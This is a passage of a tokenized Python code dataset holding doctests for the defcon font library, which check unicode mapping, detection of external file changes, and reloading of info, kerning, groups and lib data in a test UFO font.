", " ", " ", ">>>", " ", "keys", "\\", "10", ";", " ", " ", " ", " ", "['", "B", "',", " ", "'", "C", "',", " ", "'", "Name", "Change", "Test", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "dir", "ty", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Gl", "yp", "h", "Unic", "odes", "Changed_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", " ", "=", " ", "font", "['", "A", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", ".", "unicode", "s", " ", "=", " ", "[", "123", ",", " ", "456", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "unicode", "Data", "[", "123", "]", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "unicode", "Data", "[", "456", "]", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "unicode", "Data", "[", "6", "6", "]", "\\", "10", ";", " ", " ", " ", " ", "['", "B", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "unicode", "Data", ".", "get", "(", "6", "5", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "new", "Gl", "yp", "h", "(\"", "test", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", " ", "=", " ", "font", "[\"", "test", "\"]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", ".", "unicode", "s", " ", "=", " ", "[", "6", "5", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "unicode", "Data", "[", "6", "5", "]", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "',", " ", "'", "test", "']", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Test", "For", "Exter", "nal", "Changes_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "plist", "lib", " ", "import", " ", "read", "Plist", ",", " ", "write", "Plist", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "get", "Test", "Font", "Path", "(\"", "Test", "Exter", "nal", "Editing", ".", "ufo", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "#", " ", "load", " ", "all", " ", "the", " ", "object", "s", " ", "so", " ", "tha", "t", " ", "the", "y", " ", "get", " ", "stamp", "ed", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "i", " ", "=", " ", "font", ".", "info", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "k", " ", "=", " ", "font", ".", "kern", "ing", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "g", " ", "=", " ", "font", ".", "group", "s", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", " ", "=", " ", "font", ".", "lib", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "g", " ", "=", " ", "font", "[\"", "A", "\"]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", " ", "=", " ", "font", ".", "test", "For", "Exter", "nal", "Change", "s", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "info", "\"]", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "kern", "ing", "\"]", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "group", "s", "\"]", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "lib", "\"]", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "modifi", "ed", "Glyphs", "\"]", "\\", "10", ";", " ", " ", " ", " ", "[]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "adde", "d", "Glyphs", "\"]", "\\", "10", ";", " ", " ", " ", " ", "[]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "delete", "d", "Glyphs", "\"]", "\\", "10", ";", " ", " ", " ", " ", "[]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "#", " ", "make", " ", "a", " ", "simple", " ", "change", " ", "to", " ", "the", " ", "kern", "ing", " ", "data", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "font", ".", "path", ",", " ", "\"", "kern", "ing", ".", "plist", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "rb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "f", ".", "read", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "+=", " ", "\"", " ", "\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "write", "(", "t", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "os", ".", "utime", "(", "path", ",", " ", "(", "k", ".\\u", "data", "On", "Disk", "Time", "Sta", "mp", " ", "+", " ", "1", ",", " ", "k", ".\\u", "data", "On", "Disk", "Time", "Sta", "mp", " ", "+", " ", "1", "))\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", " ", "=", " ", "font", ".", "test", "For", "Exter", "nal", "Change", "s", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "kern", "ing", "\"]", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "info", "\"]", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "#", " ", "save", " ", "the", " ", "kern", "ing", " ", "data", " ", "and", " ", "test", " ", "again", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "kern", "ing", ".", "dir", "ty", " ", "=", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "save", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", " ", "=", " ", "font", ".", "test", "For", "Exter", "nal", "Change", "s", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "kern", "ing", "\"]", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "#", " ", "make", " ", "a", " ", "simple", " ", "change", " ", "to", " ", "a", " ", "glyph", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "font", ".", "path", ",", " ", "\"", "glyph", "s", "\",", " ", "\"", "A", "\\u.", "gli", "f", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "rb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "f", ".", "read", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "+=", " ", "\"", " ", "\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "write", "(", "t", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "os", ".", "utime", "(", "path", ",", " ", "(", "g", ".\\u", "data", "On", "Disk", "Time", "Sta", "mp", " ", "+", " ", "1", ",", " ", "g", ".\\u", "data", "On", "Disk", "Time", "Sta", "mp", " ", "+", " ", "1", "))\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", " ", "=", " ", "font", ".", "test", "For", "Exter", "nal", "Change", "s", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "modifi", "ed", "Glyphs", "\"]", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "']", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "#", " ", "save", " ", "the", " ", "glyph", " ", "and", " ", "test", " ", "again", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", "[\"", "A", "\"]", ".", "dir", "ty", " ", "=", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "save", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", " ", "=", " ", "font", ".", "test", "For", "Exter", "nal", "Change", "s", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "modifi", "ed", "Glyphs", "\"]", "\\", "10", ";", " ", " ", " ", " ", "[]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "#", " ", "add", " ", "a", " ", "glyph", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "font", ".", "path", ",", " ", "\"", "glyph", "s", "\",", " ", "\"", "A", "\\u.", "gli", "f", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "rb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "f", ".", "read", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "t", ".", "replace", "('", "<", "glyph", " ", "name", "=\"", "A", "\"", " ", "format", "=\"", "1", "\">", "',", " ", "'<", "glyph", " ", "name", "=\"", "XX", "X", "\"", " ", "format", "=\"", "1", "\">", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "font", ".", "path", ",", " ", "\"", "glyph", "s", "\",", " ", "\"", "XX", "X", ".", "gli", "f", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "write", "(", "t", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "font", ".", "path", ",", " ", "\"", "glyph", "s", "\",", " ", "\"", "content", "s", ".", "plist", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "plist", " ", "=", " ", "read", "Plist", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "save", "Plist", " ", "=", " ", "dict", "(", "plist", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "plist", "[\"", "XX", "X", "\"]", " ", "=", " ", "\"", "XX", "X", ".", "gli", "f", "\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "write", "Plist", "(", "plist", ",", " ", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", " ", "=", " ", "font", ".", "test", "For", "Exter", "nal", "Change", "s", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "modifi", "ed", "Glyphs", "\"]", "\\", "10", ";", " ", " ", " ", " ", "[]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "adde", "d", "Glyphs", "\"]", "\\", "10", ";", " ", " ", " ", " ", "[", "u", "'", "XX", "X", "']", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "#", " ", "delete", " ", "a", " ", "glyph", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "get", "Test", "Font", "Path", "(\"", "Test", "Exter", "nal", "Editing", ".", "ufo", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "g", " ", "=", " ", "font", "[\"", "XX", "X", "\"]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "font", ".", "path", ",", " ", "\"", "glyph", "s", "\",", " ", "\"", "content", "s", ".", "plist", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "write", "Plist", "(", "save", "Plist", ",", " ", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "font", ".", "path", ",", " ", "\"", "glyph", "s", "\",", " ", "\"", "XX", "X", ".", "gli", "f", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "os", ".", "remove", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", " ", "=", " ", "font", ".", "test", "For", "Exter", "nal", "Change", "s", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "modifi", "ed", "Glyphs", "\"]", "\\", "10", ";", " ", " ", " ", " ", "[]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "[\"", "delete", "d", "Glyphs", "\"]", "\\", "10", ";", " ", " ", " ", " ", "['", "XX", "X", "']", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Relo", "ad", "Info_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "get", "Test", "Font", "Path", "(\"", "Test", "Exter", "nal", "Editing", ".", "ufo", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "info", " ", "=", " ", "font", ".", "info", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "font", ".", "path", ",", " ", "\"", "font", "info", ".", "plist", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "rb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "f", ".", "read", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "t", ".", "replace", "(\"", "<", "integ", "er", ">", "750", "</", "integ", "er", ">\"", ",", " ", "\"<", "integ", "er", ">", "751", "</", "integ", "er", ">\"", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "write", "(", "t", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "info", ".", "ascen", "der", "\\", "10", ";", " ", " ", " ", " ", "750", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "relo", "ad", "Info", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "info", ".", "ascen", "der", "\\", "10", ";", " ", " ", " ", " ", "751", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "t", ".", "replace", "(\"", "<", "integ", "er", ">", "751", "</", "integ", "er", ">\"", ",", " ", "\"<", "integ", "er", ">", "750", "</", "integ", "er", ">\"", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "write", "(", "t", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Relo", "ad", "Kern", "ing_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "get", "Test", "Font", "Path", "(\"", "Test", "Exter", "nal", "Editing", ".", "ufo", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "kern", "ing", " ", "=", " ", "font", ".", "kern", "ing", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "font", ".", "path", ",", " ", "\"", "kern", "ing", ".", "plist", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "rb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "f", ".", "read", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "t", ".", "replace", "(\"", "<", "integ", "er", ">-", "100", "</", "integ", "er", ">\"", ",", " ", "\"<", "integ", "er", ">-", "101", "</", "integ", "er", ">\"", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "write", "(", "t", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "kern", "ing", ".", "items", "()", "\\", "10", ";", " ", " ", " ", " ", "[(", "('", "A", "',", " ", "'", "A", "')", ",", " ", "-1", "00", ")]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "relo", "ad", "Kern", "ing", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "kern", "ing", ".", "items", "()", "\\", "10", ";", " ", " ", " ", " ", "[(", "('", "A", "',", " ", "'", "A", "')", ",", " ", "-1", "01", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "t", ".", "replace", "(\"", "<", "integ", "er", ">-", "101", "</", "integ", "er", ">\"", ",", " ", "\"<", "integ", "er", ">-", "100", "</", "integ", "er", ">\"", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "write", "(", "t", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Relo", "ad", "Groups_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "get", "Test", "Font", "Path", "(\"", "Test", "Exter", "nal", "Editing", ".", "ufo", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "group", "s", " ", "=", " ", "font", ".", "group", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "font", ".", "path", ",", " ", "\"", "group", "s", ".", "plist", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "rb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "f", ".", "read", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "t", ".", "replace", "(\"", "<", "key", ">", "Test", "Group", "</", "key", ">\"", ",", " ", "\"<", "key", ">", "XX", "X", "</", "key", ">\"", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "write", "(", "t", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "group", "s", ".", "keys", "()", "\\", "10", ";", " ", " ", " ", " ", "['", "Test", "Group", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "relo", "ad", "Group", "s", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "group", "s", ".", "keys", "()", "\\", "10", ";", " ", " ", " ", " ", "['", "XX", "X", "']", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "t", ".", "replace", "(\"", "<", "key", ">", "XX", "X", "</", "key", ">\"", ",", " ", "\"<", "key", ">", "Test", "Group", "</", "key", ">\"", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "write", "(", "t", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Relo", "ad", "Lib_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "get", "Test", "Font", "Path", "(\"", "Test", "Exter", "nal", "Editing", ".", "ufo", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "lib", " ", "=", " ", "font", ".", "lib", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "font", ".", "path", ",", " ", "\"", "lib", ".", "plist", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "rb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "f", ".", "read", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "t", ".", "replace", "(\"", "<", "key", ">", "org", ".", "robo", "fab", ".", "glyph", "Order", "</", "key", ">\"", ",", " ", "\"<", "key", ">", "org", ".", "robo", "fab", ".", "glyph", "Order", ".", "XX", "X", "</", "key", ">\"", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "write", "(", "t", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "lib", ".", "keys", "()", "\\", "10", ";", " ", " ", " ", " ", "['", "org", ".", "robo", "fab", ".", "glyph", "Order", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "relo", "ad", "Lib", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "lib", ".", "keys", "()", "\\", "10", ";", " ", " ", " ", " ", "['", "org", ".", "robo", "fab", ".", "post", "Script", "Hint", "Data", "',", " ", "'", "org", ".", "robo", "fab", ".", "glyph", "Order", ".", "XX", "X", "']", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "t", ".", "replace", "(\"", "<", "key", ">", "org", ".", "robo", "fab", ".", "glyph", "Order", ".", "XX", "X", "</", "key", ">\"", ",", " ", "\"<", "key", ">", "org", ".", "robo", "fab", ".", "glyph", "Order", "</", "key", ">\"", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "write", "(", "t", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Relo", "ad", "Glyphs", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "get", "Test", "Font", "Path", "(\"", "Test", "Exter", "nal", "Editing", ".", "ufo", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", " ", "=", " ", "font", "[\"", "A", "\"]", "\\", "10", ";", 